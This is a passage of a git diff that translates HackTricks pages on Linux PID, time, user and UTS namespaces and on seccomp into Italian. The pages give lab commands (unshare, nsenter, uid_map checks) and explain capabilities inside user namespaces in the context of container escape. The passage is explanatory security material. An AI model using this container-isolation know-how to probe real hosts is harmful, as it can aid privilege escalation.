Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato "processo unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandosi che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**. #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces - +### Trova tutti i namespace PID ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` +Nota che l'utente root del namespace PID iniziale (predefinito) può vedere tutti i processi, anche quelli in nuovi spazi dei PID, ecco perché possiamo vedere tutti i namespace PID. -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace - +### Entrare all'interno di un namespace PID ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +Quando entri in un namespace PID dal namespace predefinito, sarai comunque in grado di vedere tutti i processi. E il processo di quel namespace PID sarà in grado di vedere il nuovo bash nel namespace PID. -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. +Inoltre, puoi **entrare in un altro namespace PID di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/pid`) -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) - -## References +## Riferimenti - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5d2201886..f26ad313a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -2,71 +2,61 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. +Il time namespace in Linux consente offset per namespace sugli orologi monotoni e di avvio del sistema. È comunemente usato nei contenitori Linux per modificare la data/ora all'interno di un contenitore e regolare gli orologi dopo il ripristino da un checkpoint o snapshot. ## Lab: -### Create different Namespaces +### Crea diversi Namespaces #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del Problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces - +### Trova tutti i namespace di tempo ```bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Time namespace - +### Entra all'interno di un Time namespace ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 88d39ccc6..0f061546f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -2,102 +2,87 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +Un user namespace è una funzionalità del kernel Linux che **fornisce isolamento delle mappature degli ID utente e gruppo**, consentendo a ciascun user namespace di avere il **proprio insieme di ID utente e gruppo**. Questo isolamento consente ai processi in esecuzione in diversi user namespace di **avere privilegi e proprietà diversi**, anche se condividono gli stessi ID utente e gruppo numericamente. -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +Gli user namespace sono particolarmente utili nella containerizzazione, dove ogni container dovrebbe avere il proprio insieme indipendente di ID utente e gruppo, consentendo una migliore sicurezza e isolamento tra i container e il sistema host. -### How it works: +### Come funziona: -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. Quando viene creato un nuovo user namespace, **inizia con un insieme vuoto di mappature degli ID utente e gruppo**. Ciò significa che qualsiasi processo in esecuzione nel nuovo user namespace **non avrà inizialmente privilegi al di fuori del namespace**. +2. Le mappature degli ID possono essere stabilite tra gli ID utente e gruppo nel nuovo namespace e quelli nel namespace genitore (o host). Questo **consente ai processi nel nuovo namespace di avere privilegi e proprietà corrispondenti agli ID utente e gruppo nel namespace genitore**. Tuttavia, le mappature degli ID possono essere limitate a intervalli e sottoinsiemi specifici di ID, consentendo un controllo dettagliato sui privilegi concessi ai processi nel nuovo namespace. +3. All'interno di un user namespace, **i processi possono avere pieni privilegi di root (UID 0) per operazioni all'interno del namespace**, pur avendo privilegi limitati al di fuori del namespace. Questo consente **ai container di funzionare con capacità simili a quelle di root all'interno del proprio namespace senza avere pieni privilegi di root sul sistema host**. +4. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWUSER`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare le mappature degli ID utente e gruppo associate a quel namespace. -## Lab: +## Laboratorio: -### Create different Namespaces +### Crea diversi Namespace #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +Per utilizzare lo user namespace, il demone Docker deve essere avviato con **`--userns-remap=default`** (In ubuntu 14.04, questo può essere fatto modificando `/etc/default/docker` e poi eseguendo `sudo service docker restart`) -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +È possibile controllare la mappa degli utenti dal container docker con: ```bash cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +O dal host con: ```bash cat /proc//uid_map ``` - -### Find all User namespaces - +### Trova tutti i namespace utente ```bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a User namespace - +### Entra all'interno di un namespace utente ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/user`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) - +### Crea un nuovo namespace utente (con mappature) ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` @@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` +### Recupero delle Capacità -### Recovering Capabilities +Nel caso dei namespace utente, **quando viene creato un nuovo namespace utente, il processo che entra nel namespace riceve un insieme completo di capacità all'interno di quel namespace**. Queste capacità consentono al processo di eseguire operazioni privilegiate come **montare** **filesystem**, creare dispositivi o cambiare la proprietà dei file, ma **solo nel contesto del proprio namespace utente**. -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. - -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +Ad esempio, quando hai la capacità `CAP_SYS_ADMIN` all'interno di un namespace utente, puoi eseguire operazioni che normalmente richiedono questa capacità, come montare filesystem, ma solo nel contesto del tuo namespace utente. Qualsiasi operazione eseguita con questa capacità non influenzerà il sistema host o altri namespace. > [!WARNING] -> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. - +> Pertanto, anche se ottenere un nuovo processo all'interno di un nuovo namespace utente **ti restituirà tutte le capacità** (CapEff: 000001ffffffffff), in realtà puoi **utilizzare solo quelle relative al namespace** (montaggio ad esempio) ma non tutte. Quindi, questo da solo non è sufficiente per sfuggire a un contenitore Docker. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -144,5 +127,4 @@ Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 62b92742a..a3bfde33c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -2,77 +2,67 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +Un namespace UTS (UNIX Time-Sharing System) è una funzionalità del kernel Linux che fornisce **isolamento di due identificatori di sistema**: il **nome host** e il **nome di dominio NIS** (Network Information Service). Questo isolamento consente a ciascun namespace UTS di avere il **proprio nome host e nome di dominio NIS** indipendenti, il che è particolarmente utile negli scenari di containerizzazione in cui ogni container dovrebbe apparire come un sistema separato con il proprio nome host. -### How it works: +### Come funziona: -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. Quando viene creato un nuovo namespace UTS, inizia con una **copia del nome host e del nome di dominio NIS dal suo namespace genitore**. Ciò significa che, al momento della creazione, il nuovo namespace **condivide gli stessi identificatori del suo genitore**. Tuttavia, eventuali modifiche successive al nome host o al nome di dominio NIS all'interno del namespace non influenzeranno altri namespace. +2. I processi all'interno di un namespace UTS **possono cambiare il nome host e il nome di dominio NIS** utilizzando le chiamate di sistema `sethostname()` e `setdomainname()`, rispettivamente. Queste modifiche sono locali al namespace e non influenzano altri namespace o il sistema host. +3. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWUTS`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare il nome host e il nome di dominio NIS associati a quel namespace. -## Lab: +## Laboratorio: -### Create different Namespaces +### Crea diversi Namespace #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del Problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces - +### Trova tutti i namespace UTS ```bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an UTS namespace - +### Entra in un namespace UTS ```bash nsenter -u TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 17ec393d2..69741c603 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. +**Seccomp**, che sta per Secure Computing mode, è una funzionalità di sicurezza del **kernel Linux progettata per filtrare le chiamate di sistema**. Limita i processi a un insieme ristretto di chiamate di sistema (`exit()`, `sigreturn()`, `read()` e `write()` per i descrittori di file già aperti). Se un processo tenta di chiamare qualsiasi altra cosa, viene terminato dal kernel utilizzando SIGKILL o SIGSYS. Questo meccanismo non virtualizza le risorse ma isola il processo da esse. -There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. +Ci sono due modi per attivare seccomp: attraverso la chiamata di sistema `prctl(2)` con `PR_SET_SECCOMP`, o per i kernel Linux 3.17 e superiori, la chiamata di sistema `seccomp(2)`. Il metodo più vecchio di abilitare seccomp scrivendo in `/proc/self/seccomp` è stato deprecato a favore di `prctl()`. -An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. +Un miglioramento, **seccomp-bpf**, aggiunge la capacità di filtrare le chiamate di sistema con una politica personalizzabile, utilizzando regole Berkeley Packet Filter (BPF). Questa estensione è sfruttata da software come OpenSSH, vsftpd e i browser Chrome/Chromium su Chrome OS e Linux per un filtraggio delle syscall flessibile ed efficiente, offrendo un'alternativa a systrace ora non supportato per Linux. -### **Original/Strict Mode** - -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +### **Modalità Originale/Stratta** +In questa modalità Seccomp **consente solo le syscall** `exit()`, `sigreturn()`, `read()` e `write()` per i descrittori di file già aperti. Se viene effettuata qualsiasi altra syscall, il processo viene terminato utilizzando SIGKILL. ```c:seccomp_strict.c #include #include @@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; +int output = open("output.txt", 